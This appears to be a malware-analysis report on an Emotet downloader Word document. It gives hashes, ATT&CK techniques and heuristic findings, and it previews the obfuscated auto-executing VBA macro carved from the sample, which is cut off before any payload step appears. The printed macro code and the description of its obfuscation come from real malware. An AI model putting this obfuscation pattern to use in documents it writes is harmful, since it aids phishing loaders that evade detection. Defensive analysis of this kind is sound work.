Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 b30e6ed7905bf4f5…

MALICIOUS

Office (OLE)

339.9 KB Created: 2019-02-20 07:25:00 Authoring application: Microsoft Office Word First seen: 2019-03-10
MD5: 96791d4582fd4440cb916e7ed1eaf85a SHA-1: dce9a168b8fe478985c8b00af1e8007516aa44f7 SHA-256: b30e6ed7905bf4f5a98c87905475b441777cdc7ca035eca7e4e79ef4075e6d58
302 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1140 Deobfuscate/Decode Files or Information

The sample exhibits multiple high and critical heuristic firings indicating obfuscated auto-executing VBA loaders, including GetObject calls and p-code execution. ClamAV detection confirms this is a known Emotet downloader variant. The VBA script, though heavily obfuscated, is characteristic of Emotet's behavior to download and execute a secondary payload.

Heuristics 9

  • ClamAV: Doc.Downloader.Emotet-6863642-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-6863642-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 73965 bytes
SHA-256: f9dc5329a9a7efcc6310c51285741381ffda1277ac02f89c25e60dc85a8b6e00
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "M___9_17"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "R279943"
Function W78754()
      b999839 = 964093313 - 790492610
   w_615254 = 281843914 + X42__0
  Select Case C_____49
      Case 281442124
         t3_9_7 = Chr(783805656 * Tan(L__9452))
         o5_219_ = Z4171_25
      Case 998050343
         S52_484 = l89_27
         o350_9 = i___8_5
      Case 561485423
         Z4__75 = 901535213
         w93680 = q4_90_7
   End Select
      E_563899 = 618650112 - 570557927
   o760_2 = 278204608 + u198_3
  Select Case E_43__
      Case 849917359
         w____0_ = Chr(179104655 * Tan(I94_73_))
         l_55768_ = B88_636_
      Case 304978203
         p570_9 = o1__22
         c557__4 = h0_916
      Case 594614811
         v8_08__ = 765669961
         I_7__8_6 = V_2295_
   End Select
      j__5641 = 968391338 - 434831068
   U_73_6_ = 762869376 + t55_5_4
  Select Case G13485
      Case 869518904
         O48_72 = Chr(990636761 * Tan(s_184__))
         V724__4 = L7__238
      Case 490883433
         H_3__865 = p45_97_
         W9840__7 = s__729_
      Case 203271845
         n69100 = 941792175
         M0777_ = i82_270
   End Select
      U_27__4 = 410638304 - 226185383
   m1312204 = 372662241 + X5_6101
  Select Case q_46__
      Case 913580008
         o_557_21 = Chr(155339587 * Tan(m5_7_7))
         R096062_ = H53079_5
      Case 126455408
         P1897571 = V249239
         S25412_1 = X75__1
      Case 670043029
         M20__3_3 = 977161649
         X6937_ = a8758_62
   End Select
      b87701 = 642133596 - 410654228
   f_5707 = 444905912 + f_736037
  Select Case P_035_5_
      Case 119073590
         H__000 = Chr(194337218 * Tan(b_9348))
         E_79867 = n_767528
      Case 467876948
         c__18_7 = c_____
         h8867_ = V_1880
      Case 766947059
         p6_72__ = 45677177
         r39691_ = J42_1_2_
   End Select
      O62720 = 15140262 - 606241399
   J__6_8 = 245115582 + M8_16___
  Select Case d8_866_
      Case 191090454
         r5048_ = Chr(18694950 * Tan(t_206_8))
         k94_314 = L813574
      Case 168566280
         Y80_361_ = U___573_
         j1_5_3 = b073_02_
      Case 40248200
         W24__1 = 435751948
         q_473_ = c521_54
   End Select
      B6_3_863 = 336509501 - 885396307
   w__7726 = 251208046 + f_89_2__
  Select Case p24_6814
      Case 625226632
         R4_1_6 = Chr(10001131 * Tan(S3_2__))
         c4563_ = l31_229_
      Case 902219164
         n910__9 = R316___
         j262344_ = L8_386_9
      Case 517067101
         h971882 = 668172797
         U4_423 = o7_7932
   End Select
      Q2_033_ = 891207631 - 763977458
   T3_7_2 = 21474711 + f675_61
  Select Case Y17891_8
      Case 750739630
         f__886 = Chr(73082833 * Tan(s68_3__))
         u_22151 = f__55_6_
      Case 718747528
         p6591117 = n22__51
         j8_879_8 = V627__7
      Case 508001758
         A4827_ = 670695557
         a864__6 = q_38__4_
   End Select
End Function
Function U___648(E00243__, z_33_61)
On Error Resume Next
      L771989_ = 969600506 - 164771385
   Z599_39_ = 273528226 + S246___8
  Select Case t278_5_
      Case 622549525
         U_03__ = Chr(233002850 * Tan(V065_2))
         I_11923 = I13__4
      Case 489822154
         i720_9 = v_7_96
         i__2_079 = I0697_8
      Case 562872967
         O7_6_53 = 343726147
         b05_47_ = v172576
   End Select
      A767_4_ = 888531924 - 718454726
   h_93_39 = 732739377 + K5_513
  Select Case Y5_71_73
      Case 542682796
         A566__2 = Chr(807013324 * Tan(l9403_))
         J_1634_ = v___92
      Case 194258582
         n__7_6_9 = l__15867
         K377031 = E815513
      Case 835756170
         h9874_ = 443881288
         T3400_09 = m06_30
   End Select
Set t_9903 = G
... (truncated)

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